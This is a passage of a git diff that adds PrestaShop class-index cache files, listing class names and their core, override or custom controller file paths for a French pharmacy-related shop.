'controllers/front/OrderConfirmationController.php', + 'OrderController' => 'override/controllers/front/OrderController.php', + 'OrderControllerCore' => 'controllers/front/OrderController.php', + 'OrderCore' => 'classes/order/Order.php', + 'OrderDetail' => '', + 'OrderDetailController' => '', + 'OrderDetailControllerCore' => 'controllers/front/OrderDetailController.php', + 'OrderDetailCore' => 'classes/order/OrderDetail.php', + 'OrderDiscount' => '', + 'OrderDiscountCore' => 'classes/order/OrderDiscount.php', + 'OrderFollowController' => '', + 'OrderFollowControllerCore' => 'controllers/front/OrderFollowController.php', + 'OrderHistory' => '', + 'OrderHistoryCore' => 'classes/order/OrderHistory.php', + 'OrderInvoice' => '', + 'OrderInvoiceCore' => 'classes/order/OrderInvoice.php', + 'OrderMessage' => '', + 'OrderMessageCore' => 'classes/order/OrderMessage.php', + 'OrderOpcController' => '', + 'OrderOpcControllerCore' => 'controllers/front/OrderOpcController.php', + 'OrderPayment' => '', + 'OrderPaymentCore' => 'classes/order/OrderPayment.php', + 'OrderReturn' => '', + 'OrderReturnController' => '', + 'OrderReturnControllerCore' => 'controllers/front/OrderReturnController.php', + 'OrderReturnCore' => 'classes/order/OrderReturn.php', + 'OrderReturnState' => '', + 'OrderReturnStateCore' => 'classes/order/OrderReturnState.php', + 'OrderSlip' => '', + 'OrderSlipController' => '', + 'OrderSlipControllerCore' => 'controllers/front/OrderSlipController.php', + 'OrderSlipCore' => 'classes/order/OrderSlip.php', + 'OrderState' => '', + 'OrderStateCore' => 'classes/order/OrderState.php', + 'PDF' => '', + 'PDFCore' => 'classes/pdf/PDF.php', + 'PDFGenerator' => 'override/classes/pdf/PDFGenerator.php', + 'PDFGeneratorCore' => 'classes/pdf/PDFGenerator.php', + 'Pack' => '', + 'PackCore' => 'classes/Pack.php', + 'Page' => '', + 'PageCore' => 'classes/Page.php', + 'PageNotFoundController' => '', + 'PageNotFoundControllerCore' => 'controllers/front/PageNotFoundController.php', + 'ParentOrderController' => 'override/controllers/front/ParentOrderController.php', + 'ParentOrderControllerCore' => 'controllers/front/ParentOrderController.php', + 'PasswordController' => '', + 'PasswordControllerCore' => 'controllers/front/PasswordController.php', + 'PaymentCC' => '', + 'PaymentCCCore' => 'classes/PaymentCC.php', + 'PaymentModule' => '', + 'PaymentModuleCore' => 'classes/PaymentModule.php', + 'PdfInvoiceController' => '', + 'PdfInvoiceControllerCore' => 'controllers/front/PdfInvoiceController.php', + 'PdfOffreFideliteController' => '', + 'PdfOffreFideliteControllerCore' => 'controllers/front/PdfOffreFideliteController.php', + 'PdfOrderReturnController' => '', + 'PdfOrderReturnControllerCore' => 'controllers/front/PdfOrderReturnController.php', + 'PdfOrderSlipController' => '', + 'PdfOrderSlipControllerCore' => 'controllers/front/PdfOrderSlipController.php', + 'PhilosophieController' => '', + 'PhilosophieControllerCore' => 'controllers/front/PhilosophieController.php', + 'PresseController' => '', + 'PresseControllerCore' => 'controllers/front/PresseController.php', + 'PrestaShopDatabaseException' => '', + 'PrestaShopDatabaseExceptionCore' => 'classes/exception/PrestaShopDatabaseException.php', + 'PrestaShopException' => '', + 'PrestaShopExceptionCore' => 'classes/exception/PrestaShopException.php', + 'PrestaShopModuleException' => '', + 'PrestaShopModuleExceptionCore' => 'classes/exception/PrestaShopModuleException.php', + 'PrestaShopPaymentException' => '', + 'PrestaShopPaymentExceptionCore' => 'classes/exception/PrestaShopPaymentException.php', + 'PricesDropController' => '', + 'PricesDropControllerCore' => 'controllers/front/PricesDropController.php', + 'Product' => 'override/classes/Product.php', + 'ProductController' => 'override/controllers/front/ProductController.php', + 'ProductControllerCore' => 'controllers/front/ProductController.php', + 'ProductCore' => 'classes/Product.php', + 'ProductDownload' => '', + 'ProductDownloadCore' => 'classes/ProductDownload.php', + 'ProductSale' => 'override/classes/ProductSale.php', + 'ProductSaleCore' => 'classes/ProductSale.php', + 'ProductSupplier' => '', + 'ProductSupplierCore' => 'classes/ProductSupplier.php', + 'Profile' => '', + 'ProfileCore' => 'classes/Profile.php', + 'QuickAccess' => '', + 'QuickAccessCore' => 'classes/QuickAccess.php', + 'RangePrice' => '', + 'RangePriceCore' => 'classes/range/RangePrice.php', + 'RangeWeight' => '', + 'RangeWeightCore' => 'classes/range/RangeWeight.php', + 'Referrer' => '', + 'ReferrerCore' => 'classes/Referrer.php', + 'RequestSql' => '', + 'RequestSqlCore' => 'classes/RequestSql.php', + 'Rijndael' => '', + 'RijndaelCore' => 'classes/Rijndael.php', + 'Risk' => '', + 'RiskCore' => 'classes/Risk.php', + 'Scene' => '', + 'SceneCore' => 'classes/Scene.php', + 'Search' => '', + 'SearchController' => '', + 'SearchControllerCore' => 'controllers/front/SearchController.php', + 'SearchCore' => 'classes/Search.php', + 'SearchEngine' => '', + 'SearchEngineCore' => 'classes/SearchEngine.php', + 'Shop' => '', + 'ShopCore' => 'classes/shop/Shop.php', + 'ShopGroup' => '', + 'ShopGroupCore' => 'classes/shop/ShopGroup.php', + 'ShopUrl' => '', + 'ShopUrlCore' => 'classes/shop/ShopUrl.php', + 'SitemapController' => '', + 'SitemapControllerCore' => 'controllers/front/SitemapController.php', + 'SpecificPrice' => '', + 'SpecificPriceCore' => 'classes/SpecificPrice.php', + 'SpecificPriceRule' => '', + 'SpecificPriceRuleCore' => 'classes/SpecificPriceRule.php', + 'State' => '', + 'StateCore' => 'classes/State.php', + 'StatisticsController' => '', + 'StatisticsControllerCore' => 'controllers/front/StatisticsController.php', + 'Stock' => '', + 'StockAvailable' => '', + 'StockAvailableCore' => 'classes/stock/StockAvailable.php', + 'StockCore' => 'classes/stock/Stock.php', + 'StockManager' => '', + 'StockManagerCore' => 'classes/stock/StockManager.php', + 'StockManagerFactory' => '', + 'StockManagerFactoryCore' => 'classes/stock/StockManagerFactory.php', + 'StockManagerInterface' => 'classes/stock/StockManagerInterface.php', + 'StockManagerModule' => '', + 'StockManagerModuleCore' => 'classes/stock/StockManagerModule.php', + 'StockMvt' => '', + 'StockMvtCore' => 'classes/stock/StockMvt.php', + 'StockMvtReason' => '', + 'StockMvtReasonCore' => 'classes/stock/StockMvtReason.php', + 'StockMvtWS' => '', + 'StockMvtWSCore' => 'classes/stock/StockMvtWS.php', + 'Store' => '', + 'StoreCore' => 'classes/Store.php', + 'StoresController' => 'override/controllers/front/StoresController.php', + 'StoresControllerCore' => 'controllers/front/StoresController.php', + 'Supplier' => '', + 'SupplierController' => '', + 'SupplierControllerCore' => 'controllers/front/SupplierController.php', + 'SupplierCore' => 'classes/Supplier.php', + 'SupplyOrder' => '', + 'SupplyOrderCore' => 'classes/stock/SupplyOrder.php', + 'SupplyOrderDetail' => '', + 'SupplyOrderDetailCore' => 'classes/stock/SupplyOrderDetail.php', + 'SupplyOrderHistory' => '', + 'SupplyOrderHistoryCore' => 'classes/stock/SupplyOrderHistory.php', + 'SupplyOrderReceiptHistory' => '', + 'SupplyOrderReceiptHistoryCore' => 'classes/stock/SupplyOrderReceiptHistory.php', + 'SupplyOrderState' => '', + 'SupplyOrderStateCore' => 'classes/stock/SupplyOrderState.php', + 'Tab' => '', + 'TabCore' => 'classes/Tab.php', + 'Tag' => '', + 'TagCore' => 'classes/Tag.php', + 'Tax' => '', + 'TaxCalculator' => '', + 'TaxCalculatorCore' => 'classes/tax/TaxCalculator.php', + 'TaxCore' => 'classes/tax/Tax.php', + 'TaxManagerFactory' => '', + 'TaxManagerFactoryCore' => 'classes/tax/TaxManagerFactory.php', + 'TaxManagerInterface' => 'classes/tax/TaxManagerInterface.php', + 'TaxManagerModule' => '', + 'TaxManagerModuleCore' => 'classes/tax/TaxManagerModule.php', + 'TaxRule' => '', + 'TaxRuleCore' => 'classes/tax/TaxRule.php', + 'TaxRulesGroup' => '', + 'TaxRulesGroupCore' => 'classes/tax/TaxRulesGroup.php', + 'TaxRulesTaxManager' => '', + 'TaxRulesTaxManagerCore' => 'classes/tax/TaxRulesTaxManager.php', + 'Theme' => '', + 'ThemeCore' => 'classes/Theme.php', + 'Tools' => '', + 'ToolsCore' => 'classes/Tools.php', + 'Translate' => '', + 'TranslateCore' => 'classes/Translate.php', + 'TranslatedConfiguration' => '', + 'TranslatedConfigurationCore' => 'classes/TranslatedConfiguration.php', + 'Upgrader' => '', + 'UpgraderCore' => 'classes/Upgrader.php', + 'Validate' => '', + 'ValidateCore' => 'classes/Validate.php', + 'Warehouse' => '', + 'WarehouseCore' => 'classes/stock/Warehouse.php', + 'WarehouseProductLocation' => '', + 'WarehouseProductLocationCore' => 'classes/stock/WarehouseProductLocation.php', + 'WebserviceException' => '', + 'WebserviceExceptionCore' => 'classes/webservice/WebserviceException.php', + 'WebserviceKey' => '', + 'WebserviceKeyCore' => 'classes/webservice/WebserviceKey.php', + 'WebserviceOutputBuilder' => '', + 'WebserviceOutputBuilderCore' => 'classes/webservice/WebserviceOutputBuilder.php', + 'WebserviceOutputInterface' => 'classes/webservice/WebserviceOutputInterface.php', + 'WebserviceOutputXML' => '', + 'WebserviceOutputXMLCore' => 'classes/webservice/WebserviceOutputXML.php', + 'WebserviceRequest' => '', + 'WebserviceRequestCore' => 'classes/webservice/WebserviceRequest.php', + 'WebserviceSpecificManagementImages' => '', + 'WebserviceSpecificManagementImagesCore' => 'classes/webservice/WebserviceSpecificManagementImages.php', + 'WebserviceSpecificManagementInterface' => 'classes/webservice/WebserviceSpecificManagementInterface.php', + 'WebserviceSpecificManagementSearch' => '', + 'WebserviceSpecificManagementSearchCore' => 'classes/webservice/WebserviceSpecificManagementSearch.php', + 'Zone' => '', + 'ZoneCore' => 'classes/Zone.php', +); ?> \ No newline at end of file diff --git a/cache/_class_index.php b/cache/_class_index.php new file mode 100755 index 0000000..94e188e --- /dev/null +++ b/cache/_class_index.php @@ -0,0 +1,675 @@ + '', + 'AbstractLoggerCore' => 'classes/log/AbstractLogger.php', + 'Address' => 'override/classes/Address.php', + 'AddressController' => 'override/controllers/front/AddressController.php', + 'AddressControllerCore' => 'controllers/front/AddressController.php', + 'AddressCore' => 'classes/Address.php', + 'AddressFormat' => '', + 'AddressFormatCore' => 'classes/AddressFormat.php', + 'AddressesController' => '', + 'AddressesControllerCore' => 'controllers/front/AddressesController.php', + 'AdminAccessController' => '', + 'AdminAccessControllerCore' => 'controllers/admin/AdminAccessController.php', + 'AdminAddonsCatalogController' => '', + 'AdminAddonsCatalogControllerCore' => 'controllers/admin/AdminAddonsCatalogController.php', + 'AdminAddressesController' => '', + 'AdminAddressesControllerCore' => 'controllers/admin/AdminAddressesController.php', + 'AdminAdminPreferencesController' => '', + 'AdminAdminPreferencesControllerCore' => 'controllers/admin/AdminAdminPreferencesController.php', + 'AdminAttachmentsController' => '', + 'AdminAttachmentsControllerCore' => 'controllers/admin/AdminAttachmentsController.php', + 'AdminAttributeGeneratorController' => '', + 'AdminAttributeGeneratorControllerCore' => 'controllers/admin/AdminAttributeGeneratorController.php', + 'AdminAttributesGroupsController' => '', + 'AdminAttributesGroupsControllerCore' => 'controllers/admin/AdminAttributesGroupsController.php', + 'AdminBackupController' => '', + 'AdminBackupControllerCore' => 'controllers/admin/AdminBackupController.php', + 'AdminCarriersController' => '', + 'AdminCarriersControllerCore' => 'controllers/admin/AdminCarriersController.php', + 'AdminCartRulesController' => '', + 'AdminCartRulesControllerCore' => 'controllers/admin/AdminCartRulesController.php', + 'AdminCartsController' => '', + 'AdminCartsControllerCore' => 'controllers/admin/AdminCartsController.php', + 'AdminCategoriesController' => 'override/controllers/admin/AdminCategoriesController.php', + 'AdminCategoriesControllerCore' => 'controllers/admin/AdminCategoriesController.php', + 'AdminCmsCategoriesController' => '', + 'AdminCmsCategoriesControllerCore' => 'controllers/admin/AdminCmsCategoriesController.php', + 'AdminCmsContentController' => '', + 'AdminCmsContentControllerCore' => 'controllers/admin/AdminCmsContentController.php', + 'AdminCmsController' => '', + 'AdminCmsControllerCore' => 'controllers/admin/AdminCmsController.php', + 'AdminContactsController' => '', + 'AdminContactsControllerCore' => 'controllers/admin/AdminContactsController.php', + 'AdminController' => '', + 'AdminControllerCore' => 'classes/controller/AdminController.php', + 'AdminCountriesController' => '', + 'AdminCountriesControllerCore' => 'controllers/admin/AdminCountriesController.php', + 'AdminCurrenciesController' => '', + 'AdminCurrenciesControllerCore' => 'controllers/admin/AdminCurrenciesController.php', + 'AdminCustomerPreferencesController' => '', + 'AdminCustomerPreferencesControllerCore' => 'controllers/admin/AdminCustomerPreferencesController.php', + 'AdminCustomerThreadsController' => '', + 'AdminCustomerThreadsControllerCore' => 'controllers/admin/AdminCustomerThreadsController.php', + 'AdminCustomersController' => '', + 'AdminCustomersControllerCore' => 'controllers/admin/AdminCustomersController.php', + 'AdminDeliverySlipController' => '', + 'AdminDeliverySlipControllerCore' => 'controllers/admin/AdminDeliverySlipController.php', + 'AdminEmailsController' => '', + 'AdminEmailsControllerCore' => 'controllers/admin/AdminEmailsController.php', + 'AdminEmployeesController' => '', + 'AdminEmployeesControllerCore' => 'controllers/admin/AdminEmployeesController.php', + 'AdminFeaturesController' => '', + 'AdminFeaturesControllerCore' => 'controllers/admin/AdminFeaturesController.php', + 'AdminGendersController' => '', + 'AdminGendersControllerCore' => 'controllers/admin/AdminGendersController.php', + 'AdminGeolocationController' => '', + 'AdminGeolocationControllerCore' => 'controllers/admin/AdminGeolocationController.php', + 'AdminGroupsController' => '', + 'AdminGroupsControllerCore' => 'controllers/admin/AdminGroupsController.php', + 'AdminHomeController' => '', + 'AdminHomeControllerCore' => 'controllers/admin/AdminHomeController.php', + 'AdminImagesController' => '', + 'AdminImagesControllerCore' => 'controllers/admin/AdminImagesController.php', + 'AdminImportController' => '', + 'AdminImportControllerCore' => 'controllers/admin/AdminImportController.php', + 'AdminInformationController' => '', + 'AdminInformationControllerCore' => 'controllers/admin/AdminInformationController.php', + 'AdminInvoicesController' => '', + 'AdminInvoicesControllerCore' => 'controllers/admin/AdminInvoicesController.php', + 'AdminLanguagesController' => '', + 'AdminLanguagesControllerCore' => 'controllers/admin/AdminLanguagesController.php', + 'AdminLocalizationController' => '', + 'AdminLocalizationControllerCore' => 'controllers/admin/AdminLocalizationController.php', + 'AdminLoginController' => '', + 'AdminLoginControllerCore' => 'controllers/admin/AdminLoginController.php', + 'AdminLogsController' => '', + 'AdminLogsControllerCore' => 'controllers/admin/AdminLogsController.php', + 'AdminMaintenanceController' => '', + 'AdminMaintenanceControllerCore' => 'controllers/admin/AdminMaintenanceController.php', + 'AdminManufacturersController' => '', + 'AdminManufacturersControllerCore' => 'controllers/admin/AdminManufacturersController.php', + 'AdminMarketingController' => '', + 'AdminMarketingControllerCore' => 'controllers/admin/AdminMarketingController.php', + 'AdminMetaController' => '', + 'AdminMetaControllerCore' => 'controllers/admin/AdminMetaController.php', + 'AdminModulesController' => '', + 'AdminModulesControllerCore' => 'controllers/admin/AdminModulesController.php', + 'AdminModulesPositionsController' => '', + 'AdminModulesPositionsControllerCore' => 'controllers/admin/AdminModulesPositionsController.php', + 'AdminNotFoundController' => '', + 'AdminNotFoundControllerCore' => 'controllers/admin/AdminNotFoundController.php', + 'AdminOrderMessageController' => '', + 'AdminOrderMessageControllerCore' => 'controllers/admin/AdminOrderMessageController.php', + 'AdminOrderPreferencesController' => '', + 'AdminOrderPreferencesControllerCore' => 'controllers/admin/AdminOrderPreferencesController.php', + 'AdminOrdersController' => '', + 'AdminOrdersControllerCore' => 'controllers/admin/AdminOrdersController.php', + 'AdminOutstandingController' => '', + 'AdminOutstandingControllerCore' => 'controllers/admin/AdminOutstandingController.php', + 'AdminPPreferencesController' => '', + 'AdminPPreferencesControllerCore' => 'controllers/admin/AdminPPreferencesController.php', + 'AdminPaymentController' => '', + 'AdminPaymentControllerCore' => 'controllers/admin/AdminPaymentController.php', + 'AdminPdfController' => '', + 'AdminPdfControllerCore' => 'controllers/admin/AdminPdfController.php', + 'AdminPerformanceController' => '', + 'AdminPerformanceControllerCore' => 'controllers/admin/AdminPerformanceController.php', + 'AdminPreferencesController' => '', + 'AdminPreferencesControllerCore' => 'controllers/admin/AdminPreferencesController.php', + 'AdminProductsController' => 'override/controllers/admin/AdminProductsController.php', + 'AdminProductsControllerCore' => 'controllers/admin/AdminProductsController.php', + 'AdminProfilesController' => '', + 'AdminProfilesControllerCore' => 'controllers/admin/AdminProfilesController.php', + 'AdminQuickAccessesController' => '', + 'AdminQuickAccessesControllerCore' => 'controllers/admin/AdminQuickAccessesController.php', + 'AdminRangePriceController' => '', + 'AdminRangePriceControllerCore' => 'controllers/admin/AdminRangePriceController.php', + 'AdminRangeWeightController' => '', + 'AdminRangeWeightControllerCore' => 'controllers/admin/AdminRangeWeightController.php', + 'AdminReferrersController' => '', + 'AdminReferrersControllerCore' => 'controllers/admin/AdminReferrersController.php', + 'AdminRequestSqlController' => '', + 'AdminRequestSqlControllerCore' => 'controllers/admin/AdminRequestSqlController.php', + 'AdminReturnController' => '', + 'AdminReturnControllerCore' => 'controllers/admin/AdminReturnController.php', + 'AdminScenesController' => '', + 'AdminScenesControllerCore' => 'controllers/admin/AdminScenesController.php', + 'AdminSearchConfController' => '', + 'AdminSearchConfControllerCore' => 'controllers/admin/AdminSearchConfController.php', + 'AdminSearchController' => '', + 'AdminSearchControllerCore' => 'controllers/admin/AdminSearchController.php', + 'AdminSearchEnginesController' => '', + 'AdminSearchEnginesControllerCore' => 'controllers/admin/AdminSearchEnginesController.php', + 'AdminShippingController' => '', + 'AdminShippingControllerCore' => 'controllers/admin/AdminShippingController.php', + 'AdminShopController' => '', + 'AdminShopControllerCore' => 'controllers/admin/AdminShopController.php', + 'AdminShopGroupController' => '', + 'AdminShopGroupControllerCore' => 'controllers/admin/AdminShopGroupController.php', + 'AdminShopUrlController' => '', + 'AdminShopUrlControllerCore' => 'controllers/admin/AdminShopUrlController.php', + 'AdminSlipController' => '', + 'AdminSlipControllerCore' => 'controllers/admin/AdminSlipController.php', + 'AdminSpecificPriceRuleController' => '', + 'AdminSpecificPriceRuleControllerCore' => 'controllers/admin/AdminSpecificPriceRuleController.php', + 'AdminStatesController' => '', + 'AdminStatesControllerCore' => 'controllers/admin/AdminStatesController.php', + 'AdminStatsController' => '', + 'AdminStatsControllerCore' => 'controllers/admin/AdminStatsController.php', + 'AdminStatsTabController' => '', + 'AdminStatsTabControllerCore' => 'controllers/admin/AdminStatsTabController.php', + 'AdminStatusesController' => '', + 'AdminStatusesControllerCore' => 'controllers/admin/AdminStatusesController.php', + 'AdminStockConfigurationController' => '', + 'AdminStockConfigurationControllerCore' => 'controllers/admin/AdminStockConfigurationController.php', + 'AdminStockCoverController' => '', + 'AdminStockCoverControllerCore' => 'controllers/admin/AdminStockCoverController.php', + 'AdminStockInstantStateController' => '', + 'AdminStockInstantStateControllerCore' => 'controllers/admin/AdminStockInstantStateController.php', + 'AdminStockManagementController' => '', + 'AdminStockManagementControllerCore' => 'controllers/admin/AdminStockManagementController.php', + 'AdminStockMvtController' => '', + 'AdminStockMvtControllerCore' => 'controllers/admin/AdminStockMvtController.php', + 'AdminStoresController' => '', + 'AdminStoresControllerCore' => 'controllers/admin/AdminStoresController.php', + 'AdminSuppliersController' => '', + 'AdminSuppliersControllerCore' => 'controllers/admin/AdminSuppliersController.php', + 'AdminSupplyOrdersController' => '', + 'AdminSupplyOrdersControllerCore' => 'controllers/admin/AdminSupplyOrdersController.php', + 'AdminTab' => '', + 'AdminTabCore' => 'classes/AdminTab.php', + 'AdminTabsController' => '', + 'AdminTabsControllerCore' => 'controllers/admin/AdminTabsController.php', + 'AdminTagsController' => '', + 'AdminTagsControllerCore' => 'controllers/admin/AdminTagsController.php', + 'AdminTaxRulesGroupController' => '', + 'AdminTaxRulesGroupControllerCore' => 'controllers/admin/AdminTaxRulesGroupController.php', + 'AdminTaxesController' => '', + 'AdminTaxesControllerCore' => 'controllers/admin/AdminTaxesController.php', + 'AdminThemesController' => '', + 'AdminThemesControllerCore' => 'controllers/admin/AdminThemesController.php', + 'AdminTrackingController' => '', + 'AdminTrackingControllerCore' => 'controllers/admin/AdminTrackingController.php', + 'AdminTranslationsController' => '', + 'AdminTranslationsControllerCore' => 'controllers/admin/AdminTranslationsController.php', + 'AdminWarehousesController' => '', + 'AdminWarehousesControllerCore' => 'controllers/admin/AdminWarehousesController.php', + 'AdminWebserviceController' => '', + 'AdminWebserviceControllerCore' => 'controllers/admin/AdminWebserviceController.php', + 'AdminZonesController' => '', + 'AdminZonesControllerCore' => 'controllers/admin/AdminZonesController.php', + 'Alias' => '', + 'AliasCore' => 'classes/Alias.php', + 'Attachment' => '', + 'AttachmentController' => '', + 'AttachmentControllerCore' => 'controllers/front/AttachmentController.php', + 'AttachmentCore' => 'classes/Attachment.php', + 'Attribute' => '', + 'AttributeCore' => 'classes/Attribute.php', + 'AttributeGroup' => '', + 'AttributeGroupCore' => 'classes/AttributeGroup.php', + 'AuthController' => 'override/controllers/front/AuthController.php', + 'AuthControllerCore' => 'controllers/front/AuthController.php', + 'Autoload' => 'classes/Autoload.php', + 'Backup' => '', + 'BackupCore' => 'classes/Backup.php', + 'BestSalesController' => '', + 'BestSalesControllerCore' => 'controllers/front/BestSalesController.php', + 'Blowfish' => '', + 'BlowfishCore' => 'classes/Blowfish.php', + 'CMS' => '', + 'CMSCategory' => '', + 'CMSCategoryCore' => 'classes/CMSCategory.php', + 'CMSCore' => 'classes/CMS.php', + 'CSV' => '', + 'CSVCore' => 'classes/CSV.php', + 'Cache' => '', + 'CacheApc' => '', + 'CacheApcCore' => 'classes/cache/CacheApc.php', + 'CacheCore' => 'classes/cache/Cache.php', + 'CacheFs' => '', + 'CacheFsCore' => 'classes/cache/CacheFs.php', + 'CacheMemcache' => '', + 'CacheMemcacheCore' => 'classes/cache/CacheMemcache.php', + 'CacheXcache' => '', + 'CacheXcacheCore' => 'classes/cache/CacheXcache.php', + 'Carrier' => '', + 'CarrierCore' => 'classes/Carrier.php', + 'CarrierModule' => '', + 'CarrierModuleCore' => 'classes/module/CarrierModule.php', + 'Cart' => 'override/classes/Cart.php', + 'CartController' => 'override/controllers/front/CartController.php', + 'CartControllerCore' => 'controllers/front/CartController.php', + 'CartCore' => 'classes/Cart.php', + 'CartRule' => '', + 'CartRuleCore' => 'classes/CartRule.php', + 'Category' => 'override/classes/Category.php', + 'CategoryController' => 'override/controllers/front/CategoryController.php', + 'CategoryControllerCore' => 'controllers/front/CategoryController.php', + 'CategoryCore' => 'classes/Category.php', + 'ChangeCurrencyController' => '', + 'ChangeCurrencyControllerCore' => 'controllers/front/ChangeCurrencyController.php', + 'Chart' => '', + 'ChartCore' => 'classes/Chart.php', + 'CmsController' => 'override/controllers/front/CmsController.php', + 'CmsControllerCore' => 'controllers/front/CmsController.php', + 'Collection' => '', + 'CollectionCore' => 'classes/Collection.php', + 'Combination' => '', + 'CombinationCore' => 'classes/Combination.php', + 'CompareController' => '', + 'CompareControllerCore' => 'controllers/front/CompareController.php', + 'CompareProduct' => '', + 'CompareProductCore' => 'classes/CompareProduct.php', + 'Configuration' => '', + 'ConfigurationCore' => 'classes/Configuration.php', + 'ConfigurationTest' => '', + 'ConfigurationTestCore' => 'classes/ConfigurationTest.php', + 'Connection' => '', + 'ConnectionCore' => 'classes/Connection.php', + 'ConnectionsSource' => '', + 'ConnectionsSourceCore' => 'classes/ConnectionsSource.php', + 'Contact' => '', + 'ContactController' => 'override/controllers/front/ContactController.php', + 'ContactControllerCore' => 'controllers/front/ContactController.php', + 'ContactCore' => 'classes/Contact.php', + 'Context' => '', + 'ContextCore' => 'classes/Context.php', + 'Controller' => '', + 'ControllerCore' => 'override/classes/range/Controller.php', + 'ControllerFactory' => '', + 'ControllerFactoryCore' => 'classes/ControllerFactory.php', + 'Cookie' => '', + 'CookieCore' => 'classes/Cookie.php', + 'Country' => '', + 'CountryCore' => 'classes/Country.php', + 'County' => '', + 'CountyCore' => 'classes/County.php', + 'Currency' => '', + 'CurrencyCore' => 'classes/Currency.php', + 'Customer' => 'override/classes/Customer.php', + 'CustomerCore' => 'classes/Customer.php', + 'CustomerMessage' => '', + 'CustomerMessageCore' => 'classes/CustomerMessage.php', + 'CustomerThread' => '', + 'CustomerThreadCore' => 'classes/CustomerThread.php', + 'Customization' => '', + 'CustomizationCore' => 'classes/Customization.php', + 'DateRange' => '', + 'DateRangeCore' => 'classes/DateRange.php', + 'Db' => '', + 'DbCore' => 'classes/db/Db.php', + 'DbMySQLi' => '', + 'DbMySQLiCore' => 'classes/db/DbMySQLi.php', + 'DbPDO' => '', + 'DbPDOCore' => 'classes/db/DbPDO.php', + 'DbQuery' => '', + 'DbQueryCore' => 'classes/db/DbQuery.php', + 'Delivery' => '', + 'DeliveryCore' => 'classes/Delivery.php', + 'DesinscriptionController' => '', + 'DesinscriptionControllerCore' => 'controllers/front/DesinscriptionController.php', + 'Diagnostic' => '', + 'DiagnosticController' => '', + 'DiagnosticControllerCore' => 'controllers/front/DiagnosticController.php', + 'DiagnosticCore' => 'classes/Diagnostic.php', + 'DiagnosticpdfController' => '', + 'DiagnosticpdfControllerCore' => 'controllers/front/DiagnosticpdfController.php', + 'DiagnosticpdfemailController' => '', + 'DiagnosticpdfemailControllerCore' => 'controllers/front/DiagnosticpdfemailController.php', + 'Discount' => '', + 'DiscountController' => '', + 'DiscountControllerCore' => 'controllers/front/DiscountController.php', + 'DiscountCore' => 'classes/Discount.php', + 'Dispatcher' => '', + 'DispatcherCore' => 'classes/Dispatcher.php', + 'Employee' => '', + 'EmployeeCore' => 'classes/Employee.php', + 'EspacepharmaciensController' => '', + 'EspacepharmaciensControllerCore' => 'controllers/front/EspacepharmaciensController.php', + 'FaqController' => '', + 'FaqControllerCore' => 'controllers/front/FaqController.php', + 'Feature' => '', + 'FeatureCore' => 'classes/Feature.php', + 'FeatureValue' => '', + 'FeatureValueCore' => 'classes/FeatureValue.php', + 'FileLogger' => '', + 'FileLoggerCore' => 'classes/log/FileLogger.php', + 'FileUploader' => '', + 'FileUploaderCore' => 'classes/FileUploader.php', + 'FrontController' => 'override/classes/controller/FrontController.php', + 'FrontControllerCore' => 'classes/controller/FrontController.php', + 'Gender' => '', + 'GenderCore' => 'classes/Gender.php', + 'GetFileController' => '', + 'GetFileControllerCore' => 'controllers/front/GetFileController.php', + 'Group' => '', + 'GroupCore' => 'classes/Group.php', + 'GroupReduction' => '', + 'GroupReductionCore' => 'classes/GroupReduction.php', + 'Guest' => '', + 'GuestCore' => 'classes/Guest.php', + 'GuestTrackingController' => '', + 'GuestTrackingControllerCore' => 'controllers/front/GuestTrackingController.php', + 'HTMLTemplate' => '', + 'HTMLTemplateCore' => 'classes/pdf/HTMLTemplate.php', + 'HTMLTemplateDeliverySlip' => '', + 'HTMLTemplateDeliverySlipCore' => 'classes/pdf/HTMLTemplateDeliverySlip.php', + 'HTMLTemplateDiagnostic' => '', + 'HTMLTemplateDiagnosticCore' => 'classes/pdf/HTMLTemplateDiagnostic.php', + 'HTMLTemplateInvoice' => '', + 'HTMLTemplateInvoiceCore' => 'classes/pdf/HTMLTemplateInvoice.php', + 'HTMLTemplateOffredefidelite' => '', + 'HTMLTemplateOffredefideliteCore' => 'classes/pdf/HTMLTemplateOffredefidelite.php', + 'HTMLTemplateOrderReturn' => '', + 'HTMLTemplateOrderReturnCore' => 'classes/pdf/HTMLTemplateOrderReturn.php', + 'HTMLTemplateOrderSlip' => '', + 'HTMLTemplateOrderSlipCore' => 'classes/pdf/HTMLTemplateOrderSlip.php', + 'HTMLTemplateSupplyOrderForm' => '', + 'HTMLTemplateSupplyOrderFormCore' => 'classes/pdf/HTMLTemplateSupplyOrderForm.php', + 'HelpAccess' => '', + 'HelpAccessCore' => 'classes/HelpAccess.php', + 'Helper' => '', + 'HelperCore' => 'classes/helper/Helper.php', + 'HelperForm' => '', + 'HelperFormCore' => 'classes/helper/HelperForm.php', + 'HelperHelpAccess' => '', + 'HelperHelpAccessCore' => 'classes/helper/HelperHelpAccess.php', + 'HelperList' => '', + 'HelperListCore' => 'classes/helper/HelperList.php', + 'HelperOptions' => '', + 'HelperOptionsCore' => 'classes/helper/HelperOptions.php', + 'HelperView' => '', + 'HelperViewCore' => 'classes/helper/HelperView.php', + 'HistoryController' => '', + 'HistoryControllerCore' => 'controllers/front/HistoryController.php', + 'Hook' => '', + 'HookCore' => 'classes/Hook.php', + 'IdentityController' => 'override/controllers/front/IdentityController.php', + 'IdentityControllerCore' => 'controllers/front/IdentityController.php', + 'Image' => '', + 'ImageCore' => 'classes/Image.php', + 'ImageManager' => '', + 'ImageManagerCore' => 'classes/ImageManager.php', + 'ImageType' => '', + 'ImageTypeCore' => 'classes/ImageType.php', + 'ImportModule' => '', + 'ImportModuleCore' => 'classes/module/ImportModule.php', + 'IndexController' => 'override/controllers/front/IndexController.php', + 'IndexControllerCore' => 'controllers/front/IndexController.php', + 'InscriptionController' => '', + 'InscriptionControllerCore' => 'controllers/front/InscriptionController.php', + 'Language' => '', + 'LanguageCore' => 'classes/Language.php', + 'Link' => 'override/classes/Link.php', + 'LinkCore' => 'classes/Link.php', + 'LivredorController' => '', + 'LivredorControllerCore' => 'controllers/front/LivredorController.php', + 'LocalizationPack' => '', + 'LocalizationPackCore' => 'classes/LocalizationPack.php', + 'Logger' => '', + 'LoggerCore' => 'classes/Logger.php', + 'Mail' => '', + 'MailCore' => 'classes/Mail.php', + 'Manufacturer' => '', + 'ManufacturerController' => '', + 'ManufacturerControllerCore' => 'controllers/front/ManufacturerController.php', + 'ManufacturerCore' => 'classes/Manufacturer.php', + 'Media' => '', + 'MediaCore' => 'classes/Media.php', + 'Message' => '', + 'MessageCore' => 'classes/Message.php', + 'Meta' => '', + 'MetaCore' => 'classes/Meta.php', + 'Module' => '', + 'ModuleAdminController' => 'override/classes/controller/ModuleAdminController.php', + 